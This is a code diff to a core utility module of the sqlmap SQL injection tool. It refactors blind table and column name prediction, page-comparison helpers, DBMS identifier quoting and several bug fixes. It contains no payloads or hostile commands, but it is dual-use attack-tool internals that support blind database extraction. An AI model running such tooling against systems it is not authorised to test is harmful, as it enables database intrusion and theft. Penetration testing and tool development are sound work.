errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex))
|
||||
raise SqlmapSystemException(errMsg)
|
||||
|
||||
return kb.cache.content[filename]
|
||||
return content
|
||||
|
||||
def average(values):
|
||||
"""
|
||||
@@ -2547,31 +2604,23 @@ def calculateDeltaSeconds(start):
|
||||
|
||||
def initCommonOutputs():
|
||||
"""
|
||||
Initializes dictionary containing common output values used by "good samaritan" feature
|
||||
Initializes the per-context dictionary of common identifier names used by the
|
||||
predictive-inference feature to shortcut blind table/column name enumeration.
|
||||
Sourced directly from the curated '--common-tables'/'--common-columns' wordlists
|
||||
(real-world, app-focused names); prediction only ever reorders the charset or
|
||||
confirms a whole value, so it never penalizes a miss.
|
||||
|
||||
>>> initCommonOutputs(); "information_schema" in kb.commonOutputs["Databases"]
|
||||
>>> initCommonOutputs(); "users" in kb.commonOutputs["Tables"]
|
||||
True
|
||||
"""
|
||||
|
||||
kb.commonOutputs = {}
|
||||
key = None
|
||||
|
||||
with openFile(paths.COMMON_OUTPUTS, 'r') as f:
|
||||
for line in f:
|
||||
if line.find('#') != -1:
|
||||
line = line[:line.find('#')]
|
||||
|
||||
line = line.strip()
|
||||
|
||||
if len(line) > 1:
|
||||
if line.startswith('[') and line.endswith(']'):
|
||||
key = line[1:-1]
|
||||
elif key:
|
||||
if key not in kb.commonOutputs:
|
||||
kb.commonOutputs[key] = set()
|
||||
|
||||
if line not in kb.commonOutputs[key]:
|
||||
kb.commonOutputs[key].add(line)
|
||||
for key, path in (("Tables", paths.COMMON_TABLES), ("Columns", paths.COMMON_COLUMNS)):
|
||||
try:
|
||||
kb.commonOutputs[key] = set(getFileItems(path))
|
||||
except SqlmapSystemException:
|
||||
kb.commonOutputs[key] = set()
|
||||
|
||||
def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
|
||||
"""
|
||||
@@ -2615,19 +2664,17 @@ def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, un
|
||||
|
||||
return retVal if not unique else list(retVal.keys())
|
||||
|
||||
def goGoodSamaritan(prevValue, originalCharset):
|
||||
def predictValue(prevValue, originalCharset):
|
||||
"""
|
||||
Function for retrieving parameters needed for common prediction (good
|
||||
samaritan) feature.
|
||||
Predictive-inference helper: given the value retrieved so far (prefix), consult the
|
||||
per-context common-identifier set (kb.commonOutputs[kb.partRun], from the common-
|
||||
tables/common-columns wordlists) to shortcut blind extraction.
|
||||
|
||||
prevValue: retrieved query output so far (e.g. 'i').
|
||||
|
||||
Returns commonValue if there is a complete single match (in kb.partRun
|
||||
of txt/common-outputs.txt under kb.partRun) regarding parameter
|
||||
prevValue. If there is no single value match, but multiple, commonCharset is
|
||||
returned containing more probable characters (retrieved from matched
|
||||
values in txt/common-outputs.txt) together with the rest of charset as
|
||||
otherCharset.
|
||||
Returns commonValue when a single wordlist entry matches the prefix (the whole value
|
||||
can be confirmed in one request); otherwise commonCharset holds the more probable
|
||||
next characters (reordered ahead of otherCharset) so the bisection converges faster.
|
||||
"""
|
||||
|
||||
if kb.commonOutputs is None:
|
||||
@@ -2686,7 +2733,7 @@ def goGoodSamaritan(prevValue, originalCharset):
|
||||
def getPartRun(alias=True):
|
||||
"""
|
||||
Goes through call stack and finds constructs matching
|
||||
conf.dbmsHandler.*. Returns it or its alias used in 'txt/common-outputs.txt'
|
||||
conf.dbmsHandler.*. Returns it or its predictive-inference context alias (e.g. 'Tables'/'Columns')
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
@@ -2722,7 +2769,7 @@ def getPartRun(alias=True):
|
||||
|
||||
def longestCommonPrefix(*sequences):
|
||||
"""
|
||||
Returns longest common prefix occuring in given sequences
|
||||
Returns longest common prefix occurring in given sequences
|
||||
|
||||
# Reference: http://boredzo.org/blog/archives/2007-01-06/longest-common-prefix-in-python-2
|
||||
|
||||
@@ -2914,6 +2961,7 @@ def findLocalPort(ports):
|
||||
retVal = None
|
||||
|
||||
for port in ports:
|
||||
s = None
|
||||
try:
|
||||
try:
|
||||
s = socket._orig_socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
@@ -2925,10 +2973,11 @@ def findLocalPort(ports):
|
||||
except socket.error:
|
||||
pass
|
||||
finally:
|
||||
try:
|
||||
s.close()
|
||||
except socket.error:
|
||||
pass
|
||||
if s is not None:
|
||||
try:
|
||||
s.close()
|
||||
except socket.error:
|
||||
pass
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -3119,7 +3168,7 @@ def getPublicTypeMembers(type_, onlyValues=False):
|
||||
|
||||
def enumValueToNameLookup(type_, value_):
|
||||
"""
|
||||
Returns name of a enum member with a given value
|
||||
Returns name of an enum member with a given value
|
||||
|
||||
>>> enumValueToNameLookup(SORT_ORDER, 100)
|
||||
'LAST'
|
||||
@@ -3177,6 +3226,45 @@ def extractTextTagContent(page):
|
||||
|
||||
return filterNone(_.group("result").strip() for _ in re.finditer(TEXT_TAG_REGEX, page))
|
||||
|
||||
def extractStructuralTokens(page):
|
||||
"""
|
||||
Returns a set of value-free structural tokens (tag names and class/id attribute hooks) of a
|
||||
(HTML) page, discarding all textual content. Used for structure-aware page comparison when the
|
||||
page is byte-unstable but structurally stable (e.g. dynamic result rows in a fixed layout), so
|
||||
that dynamic text does not perturb the comparison while a structural change (e.g. a results
|
||||
table appearing or disappearing) still does. HTML counterpart of jsonMinimize()
|
||||
|
||||
>>> sorted(extractStructuralTokens(u'<div id="g" class="a b"><span>x</span></div>')) == [u'cls:div.a', u'cls:div.b', u'id:div#g', u'tag:div', u'tag:span']
|
||||
True
|
||||
>>> extractStructuralTokens(u'<table><tr><td>1</td></tr></table>') == set([u'tag:table', u'tag:tr', u'tag:td'])
|
||||
True
|
||||
>>> extractStructuralTokens(u'') == set()
|
||||
True
|
||||
"""
|
||||
|
||||
page = page or ""
|
||||
|
||||
if REFLECTED_VALUE_MARKER in page:
|
||||
page = re.sub(r"(?i)<[^>]*%s[^>]*>" % REFLECTED_VALUE_MARKER, " ", page)
|
||||
|
||||
page = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>", " ", page)
|
||||
|
||||
retVal = set()
|
||||
|
||||
for match in re.finditer(STRUCTURAL_TAG_REGEX, page):
|
||||
tag = match.group(1).lower()
|
||||
attrs = match.group(2) or ""
|
||||
retVal.add("tag:%s" % tag)
|
||||
for _ in re.finditer(STRUCTURAL_CLASS_REGEX, attrs):
|
||||
for value in (_.group(1) or _.group(2) or _.group(3) or "").split():
|
||||
retVal.add("cls:%s.%s" % (tag, value))
|
||||
for _ in re.finditer(STRUCTURAL_ID_REGEX, attrs):
|
||||
value = (_.group(1) or _.group(2) or _.group(3) or "").strip()
|
||||
if value:
|
||||
retVal.add("id:%s#%s" % (tag, value))
|
||||
|
||||
return retVal
|
||||
|
||||
def trimAlphaNum(value):
|
||||
"""
|
||||
Trims alpha numeric characters from start and ending of a given value
|
||||
@@ -3218,7 +3306,16 @@ def isNumPosStrValue(value):
|
||||
|
||||
return retVal
|
||||
|
||||
@cachedmethod
|
||||
# DBMS_DICT is static, so the alias -> enum resolution is precomputed once into a
|
||||
# lookup table (replacing a per-call @cachedmethod + linear scan). aliasToDbmsEnum()
|
||||
# is a hot path (Backend.getIdentifiedDbms() calls it constantly). Building via
|
||||
# setdefault in dict order preserves the original first-match-wins semantics.
|
||||
_DBMS_ALIAS_MAP = {}
|
||||
for _dbmsKey, _dbmsItem in DBMS_DICT.items():
|
||||
for _dbmsAlias in _dbmsItem[0]:
|
||||
_DBMS_ALIAS_MAP.setdefault(_dbmsAlias, _dbmsKey)
|
||||
_DBMS_ALIAS_MAP.setdefault(_dbmsKey.lower(), _dbmsKey)
|
||||
|
||||
def aliasToDbmsEnum(dbms):
|
||||
"""
|
||||
Returns major DBMS name from a given alias
|
||||
@@ -3227,15 +3324,7 @@ def aliasToDbmsEnum(dbms):
|
||||
'Microsoft SQL Server'
|
||||
"""
|
||||
|
||||
retVal = None
|
||||
|
||||
if dbms:
|
||||
for key, item in DBMS_DICT.items():
|
||||
if dbms.lower() in item[0] or dbms.lower() == key.lower():
|
||||
retVal = key
|
||||
break
|
||||
|
||||
return retVal
|
||||
return _DBMS_ALIAS_MAP.get(dbms.lower()) if dbms else None
|
||||
|
||||
def findDynamicContent(firstPage, secondPage, merge=False):
|
||||
"""
|
||||
@@ -3257,7 +3346,14 @@ def findDynamicContent(firstPage, secondPage, merge=False):
|
||||
infoMsg = "searching for dynamic content"
|
||||
singleTimeLogMessage(infoMsg)
|
||||
|
||||
blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks())
|
||||
try:
|
||||
blocks = list(SequenceMatcher(None, firstPage, secondPage).get_matching_blocks())
|
||||
except (MemoryError, TypeError, SystemError, ValueError, AttributeError):
|
||||
# difflib can blow up on pathological/oversized input (and, rarely, with
|
||||
# interpreter-level errors under heavy threading); a failed dynamic-content
|
||||
# search must degrade gracefully rather than abort the whole scan - mirrors the
|
||||
# guard around the ratio computation in lib/request/comparison.py
|
||||
return
|
||||
|
||||
if not merge:
|
||||
kb.dynamicMarkings = []
|
||||
@@ -3574,8 +3670,8 @@ def setOptimize():
|
||||
Sets options turned on by switch '-o'
|
||||
"""
|
||||
|
||||
# conf.predictOutput = True
|
||||
conf.keepAlive = True
|
||||
# Note: persistent (Keep-Alive) connections are now used by default (see _setHTTPHandlers); predictive
|
||||
# inference is now an inherent, always-on part of blind name enumeration (no longer a switch)
|
||||
conf.threads = 3 if conf.threads < 3 and cmdLineOptions.threads is None else conf.threads
|
||||
conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
|
||||
|
||||
@@ -3703,8 +3799,8 @@ def unArrayizeValue(value):
|
||||
if isListLike(value):
|
||||
if not value:
|
||||
value = None
|
||||
elif len(value) == 1 and not isListLike(value[0]):
|
||||
value = value[0]
|
||||
elif len(value) == 1 and not isListLike(next(iter(value))): # Note: next(iter(...)) not value[0] - a set/OrderedSet is list-like but not subscriptable
|
||||
value = next(iter(value))
|
||||
else:
|
||||
value = [_ for _ in flattenValue(value) if _ is not None]
|
||||
value = value[0] if len(value) > 0 else None
|
||||
@@ -3834,6 +3930,13 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible",
|
||||
if 'b' in mode:
|
||||
buffering = 0
|
||||
encoding = None
|
||||
elif buffering == 1 and codecs_open is codecs.open:
|
||||
# codecs.open() always opens the underlying file in binary mode, where line buffering
|
||||
# (buffering=1) is unsupported: on Python 3.12+ it emits a benign RuntimeWarning and is
|
||||
# silently downgraded to the default buffer size anyway. Request that default explicitly
|
||||
# so the warning never reaches users (the >=3.14 _codecs_open shim handles buffering=1
|
||||
# itself, preserving flush-on-newline, so this only adjusts the legacy codecs.open path).
|
||||
buffering = -1
|
||||
|
||||
if filename == STDIN_PIPE_DASH:
|
||||
if filename not in kb.cache.content:
|
||||
@@ -4190,7 +4293,12 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
|
||||
|
||||
# Note: naive approach
|
||||
retVal = content.replace(payload, REFLECTED_VALUE_MARKER)
|
||||
retVal = retVal.replace(re.sub(r"\A\w+", "", payload), REFLECTED_VALUE_MARKER)
|
||||
|
||||
# Note: guard against an empty needle (payload composed solely of word chars), as
|
||||
# str.replace("", X) would insert X between every character and explode the page
|
||||
_stripped = re.sub(r"\A\w+", "", payload)
|
||||
if _stripped:
|
||||
retVal = retVal.replace(_stripped, REFLECTED_VALUE_MARKER)
|
||||
|
||||
if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs
|
||||
regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS // 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS // 2:])))
|
||||
@@ -4310,7 +4418,11 @@ def safeSQLIdentificatorNaming(name, isTable=False):
|
||||
|
||||
if isinstance(name, six.string_types):
|
||||
retVal = getUnicode(name)
|
||||
_ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE)
|
||||
# Resolve the identified DBMS once; it is invariant within this call and
|
||||
# Backend.getIdentifiedDbms() (which scans DBMS_DICT) was otherwise
|
||||
# re-evaluated several times below.
|
||||
dbms = Backend.getIdentifiedDbms()
|
||||
_ = isTable and dbms in (DBMS.MSSQL, DBMS.SYBASE)
|
||||
|
||||
if _:
|
||||
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal)
|
||||
@@ -4320,13 +4432,13 @@ def safeSQLIdentificatorNaming(name, isTable=False):
|
||||
if not conf.noEscape:
|
||||
retVal = unsafeSQLIdentificatorNaming(retVal)
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
|
||||
if dbms in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
|
||||
retVal = "`%s`" % retVal
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
|
||||
elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
|
||||
retVal = "\"%s\"" % retVal
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.HANA):
|
||||
elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.HANA):
|
||||
retVal = "\"%s\"" % retVal.upper()
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
elif dbms in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
if isTable:
|
||||
parts = retVal.split('.', 1)
|
||||
for i in xrange(len(parts)):
|
||||
@@ -4359,16 +4471,21 @@ def unsafeSQLIdentificatorNaming(name):
|
||||
retVal = name
|
||||
|
||||
if isinstance(name, six.string_types):
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE):
|
||||
# Resolve the identified DBMS once; it is invariant within this call, and
|
||||
# Backend.getIdentifiedDbms() is not cheap (it scans DBMS_DICT). Previously
|
||||
# it was re-evaluated up to five times per call.
|
||||
dbms = Backend.getIdentifiedDbms()
|
||||
|
||||
if dbms in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE, DBMS.SPANNER, DBMS.CLICKHOUSE):
|
||||
retVal = name.replace("`", "")
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
|
||||
elif dbms in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE, DBMS.FIREBIRD, DBMS.DERBY, DBMS.MAXDB):
|
||||
retVal = name.replace("\"", "")
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.HANA):
|
||||
elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.HANA):
|
||||
retVal = name.replace("\"", "").upper()
|
||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
elif dbms in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
retVal = name.replace("[", "").replace("]", "")
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
if dbms in (DBMS.MSSQL, DBMS.SYBASE):
|
||||
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal)
|
||||
|
||||
return retVal
|
||||
@@ -4507,14 +4624,20 @@ def safeCSValue(value):
|
||||
'"foo, bar"'
|
||||
>>> safeCSValue('foobar')
|
||||
'foobar'
|
||||
>>> safeCSValue('foo\\rbar')
|
||||
'"foo\\rbar"'
|
||||
>>> safeCSValue('foo"bar') == '"foo""bar"'
|
||||
True
|
||||
"""
|
||||
|
||||
retVal = value
|
||||
|
||||
# Note: always RFC-4180 escape a value that contains the delimiter, a quote or a newline; an
|
||||
# earlier "skip if it already begins and ends with a quote" heuristic corrupted cells whose
|
||||
# content legitimately starts and ends with '"' (e.g. '"a","b"' or a lone '"')
|
||||
if retVal and isinstance(retVal, six.string_types):
|
||||
if not (retVal[0] == retVal[-1] == '"'):
|
||||
if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n')):
|
||||
retVal = '"%s"' % retVal.replace('"', '""')
|
||||
if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n', '\r')):
|
||||
retVal = '"%s"' % retVal.replace('"', '""')
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -4546,8 +4669,6 @@ def randomizeParameterValue(value):
|
||||
|
||||
retVal = value
|
||||
|
||||
retVal = re.sub(r"%[0-9a-fA-F]{2}", "", retVal)
|
||||
|
||||
def _replace_upper(match):
|
||||
original = match.group()
|
||||
while True:
|
||||
@@ -4569,9 +4690,15 @@ def randomizeParameterValue(value):
|
||||
if candidate != original:
|
||||
return candidate
|
||||
|
||||
retVal = re.sub(r"[A-Z]+", _replace_upper, retVal)
|
||||
retVal = re.sub(r"[a-z]+", _replace_lower, retVal)
|
||||
retVal = re.sub(r"[0-9]+", _replace_digit, retVal)
|
||||
def _randomize(segment):
|
||||
segment = re.sub(r"[A-Z]+", _replace_upper, segment)
|
||||
segment = re.sub(r"[a-z]+", _replace_lower, segment)
|
||||
segment = re.sub(r"[0-9]+", _replace_digit, segment)
|
||||
return segment
|
||||
|
||||
# Note: keep %XX percent-encoded bytes verbatim and randomize only the surrounding characters;
|
||||
# deleting (or randomizing) the %XX would change the value's decoded content and byte length
|
||||
retVal = "".join(part if re.match(r"\A%[0-9a-fA-F]{2}\Z", part) else _randomize(part) for part in re.split(r"(%[0-9a-fA-F]{2})", retVal))
|
||||
|
||||
if re.match(r"\A[^@]+@.+\.[a-z]+\Z", value):
|
||||
parts = retVal.split('.')
|
||||
@@ -4793,8 +4920,8 @@ def findPageForms(content, url, raiseException=False, addToTargets=False):
|
||||
|
||||
data = ""
|
||||
|
||||
for name, value in re.findall(r"['\"]?(\w+)['\"]?\s*:\s*(['\"][^'\"]+)?", match.group(2)):
|
||||
data += "%s=%s%s" % (name, value, DEFAULT_GET_POST_DELIMITER)
|
||||
for name, value in re.findall(r"['\"]?(\w+)['\"]?\s*:\s*['\"]?([^'\",}]*)['\"]?", match.group(2)):
|
||||
data += "%s=%s%s" % (name, value.strip(), DEFAULT_GET_POST_DELIMITER)
|
||||
|
||||
data = data.rstrip(DEFAULT_GET_POST_DELIMITER)
|
||||
retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))
|
||||
@@ -4859,6 +4986,10 @@ def getHostHeader(url):
|
||||
|
||||
>>> getHostHeader('http://www.target.com/vuln.php?id=1')
|
||||
'www.target.com'
|
||||
>>> getHostHeader('http://[::1]:8080/vuln.php?id=1')
|
||||
'[::1]:8080'
|
||||
>>> getHostHeader('http://[::1]/vuln.php?id=1')
|
||||
'[::1]'
|
||||
"""
|
||||
|
||||
retVal = url
|
||||
@@ -4866,10 +4997,11 @@ def getHostHeader(url):
|
||||
if url:
|
||||
retVal = _urllib.parse.urlparse(url).netloc
|
||||
|
||||
if re.search(r"http(s)?://\[.+\]", url, re.I):
|
||||
retVal = extractRegexResult(r"http(s)?://\[(?P<result>.+)\]", url)
|
||||
elif any(retVal.endswith(':%d' % _) for _ in (80, 443)):
|
||||
retVal = retVal.split(':')[0]
|
||||
# Note: netloc keeps the IPv6 brackets (and any port), so only the default ports are
|
||||
# stripped here - mirroring the hostname/IPv4 branch and preserving non-default ports
|
||||
# (e.g. '[::1]:8080') as required by RFC 7230
|
||||
if any(retVal.endswith(':%d' % _) for _ in (80, 443)):
|
||||
retVal = retVal[:retVal.rfind(':')]
|
||||
|
||||
if retVal and retVal.count(':') > 1 and not any(_ in retVal for _ in ('[', ']')):
|
||||
retVal = "[%s]" % retVal
|
||||
@@ -4939,7 +5071,7 @@ def serializeObject(object_):
|
||||
True
|
||||
"""
|
||||
|
||||
return base64pickle(object_)
|
||||
return serializeValue(object_)
|
||||
|
||||
def unserializeObject(value):
|
||||
"""
|
||||
@@ -4947,11 +5079,11 @@ def unserializeObject(value):
|
||||
|
||||
>>> unserializeObject(serializeObject([1, 2, 3])) == [1, 2, 3]
|
||||
True
|
||||
>>> unserializeObject('gAJVBmZvb2JhcnEBLg==')
|
||||
'foobar'
|
||||
>>> unserializeObject(serializeObject('foobar')) == 'foobar'
|
||||
True
|
||||
"""
|
||||
|
||||
return base64unpickle(value) if value else None
|
||||
return deserializeValue(value) if value else None
|
||||
|
||||
def resetCounter(technique):
|
||||
"""
|
||||
@@ -4965,7 +5097,14 @@ def incrementCounter(technique):
|
||||
Increments query counter for a given technique
|
||||
"""
|
||||
|
||||
kb.counters[technique] = getCounter(technique) + 1
|
||||
# Note: the read-modify-write must be atomic since worker threads increment concurrently;
|
||||
# guard with the shared 'count' lock when available (it is absent in isolated/doctest use)
|
||||
lock = kb.locks.count if kb.get("locks") else None
|
||||
if lock is not None:
|
||||
with lock:
|
||||
kb.counters[technique] = getCounter(technique) + 1
|
||||
else:
|
||||
kb.counters[technique] = getCounter(technique) + 1
|
||||
|
||||
def getCounter(technique):
|
||||
"""
|
||||
@@ -5267,10 +5406,21 @@ def zeroDepthSearch(expression, value):
|
||||
retVal = []
|
||||
|
||||
depth = 0
|
||||
for index in xrange(len(expression)):
|
||||
if expression[index] == '(':
|
||||
quote = None
|
||||
index = 0
|
||||
while index < len(expression):
|
||||
char = expression[index]
|
||||
if quote: # Note: content inside a single/double quoted string literal is data, not structure - a delimiter/keyword there must not be matched (e.g. ',' or ' FROM ' inside 'a,b'/'x FROM y')
|
||||
if char == quote:
|
||||
if index + 1 < len(expression) and expression[index + 1] == quote: # escaped quote (e.g. '')
|
||||
index += 1
|
||||
else:
|
||||
quote = None
|
||||
elif char in ('"', "'"):
|
||||
quote = char
|
||||
elif char == '(':
|
||||
depth += 1
|
||||
elif expression[index] == ')':
|
||||
elif char == ')':
|
||||
depth -= 1
|
||||
elif depth == 0:
|
||||
if value.startswith('[') and value.endswith(']'):
|
||||
@@ -5278,6 +5428,7 @@ def zeroDepthSearch(expression, value):
|
||||
retVal.append(index)
|
||||
elif expression[index:index + len(value)] == value:
|
||||
retVal.append(index)
|
||||
index += 1
|
||||
|
||||
return retVal
|
||||
|
||||
@@ -5287,14 +5438,45 @@ def splitFields(fields, delimiter=','):
|
||||
|
||||
>>> splitFields('foo, bar, max(foo, bar)')
|
||||
['foo', 'bar', 'max(foo,bar)']
|
||||
>>> splitFields("a, 'b, c', d")
|
||||
['a', "'b, c'", 'd']
|
||||
>>> splitFields('a; b; max(c; d)', delimiter=';')
|
||||
['a', 'b', 'max(c;d)']
|
||||
"""
|
||||
|
||||
fields = fields.replace("%s " % delimiter, delimiter)
|
||||
commas = [-1, len(fields)]
|
||||
commas.extend(zeroDepthSearch(fields, ','))
|
||||
commas = sorted(commas)
|
||||
# collapse "<delimiter> " -> "<delimiter>" but only OUTSIDE quoted string literals, so a
|
||||
# space inside e.g. 'b, c' survives (the quote handling mirrors zeroDepthSearch)
|
||||
normalized = []
|
||||
quote = None
|
||||
index = 0
|
||||
while index < len(fields):
|
||||
char = fields[index]
|
||||
if quote:
|
||||
normalized.append(char)
|
||||
if char == quote:
|
||||
if index + 1 < len(fields) and fields[index + 1] == quote: # escaped quote (e.g. '')
|
||||
normalized.append(fields[index + 1])
|
||||
index += 2
|
||||
continue
|
||||
else:
|
||||
quote = None
|
||||
elif char in ('"', "'"):
|
||||
quote = char
|
||||
normalized.append(char)
|
||||
elif char == delimiter and index + 1 < len(fields) and fields[index + 1] == ' ':
|
||||
normalized.append(char) # keep the delimiter, drop the single trailing space
|
||||
index += 2
|
||||
continue
|
||||
else:
|
||||
normalized.append(char)
|
||||
index += 1
|
||||
|
||||
return [fields[x + 1:y] for (x, y) in _zip(commas, commas[1:])]
|
||||
fields = "".join(normalized)
|
||||
splits = [-1, len(fields)]
|
||||
splits.extend(zeroDepthSearch(fields, delimiter))
|
||||
splits = sorted(splits)
|
||||
|
||||
return [fields[x + 1:y] for (x, y) in _zip(splits, splits[1:])]
|
||||
|
||||
def pollProcess(process, suppress_errors=False):
|
||||
"""
|
||||
@@ -5453,8 +5635,10 @@ def parseRequestFile(reqFile, checkParams=True):
|
||||
key, value = line.split(":", 1)
|
||||
value = value.strip().replace("\r", "").replace("\n", "")
|
||||
|
||||
# Note: overriding values with --headers '...'
|
||||
match = re.search(r"(?i)\b(%s): ([^\n]*)" % re.escape(key), conf.headers or "")
|
||||
# Note: overriding values with --headers '...'; the lookbehind prevents the key
|
||||
# from matching the hyphen-suffix tail of a longer header name (e.g. 'Host'
|
||||
# matching inside 'X-Forwarded-Host'), which would corrupt the outgoing header
|
||||
match = re.search(r"(?i)(?<![\w-])(%s): ([^\n]*)" % re.escape(key), conf.headers or "")
|
||||
if match:
|
||||
key, value = match.groups()
|
||||
|
||||
@@ -5577,7 +5761,12 @@ def unsafeVariableNaming(value):
|
||||
"""
|
||||
|
||||
if value.startswith(EVALCODE_ENCODED_PREFIX):
|
||||
value = decodeHex(value[len(EVALCODE_ENCODED_PREFIX):], binary=False)
|
||||
# Note: the suffix is only hex when produced by safeVariableNaming(); a user-defined
|
||||
# name that merely happens to start with the prefix (e.g. via --eval) is left intact
|
||||
try:
|
||||
value = decodeHex(value[len(EVALCODE_ENCODED_PREFIX):], binary=False)
|
||||
except (binascii.Error, ValueError, TypeError):
|
||||
pass
|
||||
|
||||
return value
|
||||
|
||||
@@ -5650,30 +5839,35 @@ def chunkSplitPostData(data):
|
||||
|
||||
return "".join(retVal)
|
||||
|
||||
def checkSums():
|
||||
def isGitRepository():
|
||||
"""
|
||||
Validate the content of the digest file (i.e. sha256sums.txt)
|
||||
>>> checkSums()
|
||||
Whether the running source tree is a git working copy (i.e. a clone / dev checkout, as opposed to a
|
||||
pip/tarball install)
|
||||
"""
|
||||
|
||||
return os.path.isdir(os.path.join(paths.SQLMAP_ROOT_PATH, ".git"))
|
||||
|
||||
def codeIsModified():
|
||||
"""
|
||||
Best-effort check whether a git working copy has local modifications, used to avoid auto-reporting
|
||||
crashes that stem from a user's OWN changes. Only meaningful for git checkouts (dev/clone); a
|
||||
pip/tarball install is taken as shipped (returns False). A transient git error also yields False,
|
||||
so a missing git binary never silences a legitimate report.
|
||||
|
||||
>>> codeIsModified() in (True, False)
|
||||
True
|
||||
"""
|
||||
|
||||
retVal = True
|
||||
retVal = False
|
||||
|
||||
if paths.get("DIGEST_FILE"):
|
||||
for entry in getFileItems(paths.DIGEST_FILE):
|
||||
match = re.search(r"([0-9a-f]+)\s+([^\s]+)", entry)
|
||||
if match:
|
||||
expected, filename = match.groups()
|
||||
filepath = os.path.join(paths.SQLMAP_ROOT_PATH, filename).replace('/', os.path.sep)
|
||||
if not checkFile(filepath, False):
|
||||
continue
|
||||
with open(filepath, "rb") as f:
|
||||
content = f.read()
|
||||
if b'\0' not in content:
|
||||
content = content.replace(b"\r\n", b"\n")
|
||||
if not hashlib.sha256(content).hexdigest() == expected:
|
||||
retVal &= False
|
||||
break
|
||||
if isGitRepository():
|
||||
try:
|
||||
process = subprocess.Popen("git diff-index --quiet HEAD --", shell=True, cwd=paths.SQLMAP_ROOT_PATH, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||
process.communicate()
|
||||
if process.returncode == 1: # 0 == clean, 1 == modified (anything else == git error)
|
||||
retVal = True
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return retVal
|
||||
|
||||
|
||||
@@ -280,6 +280,12 @@ else:
|
||||
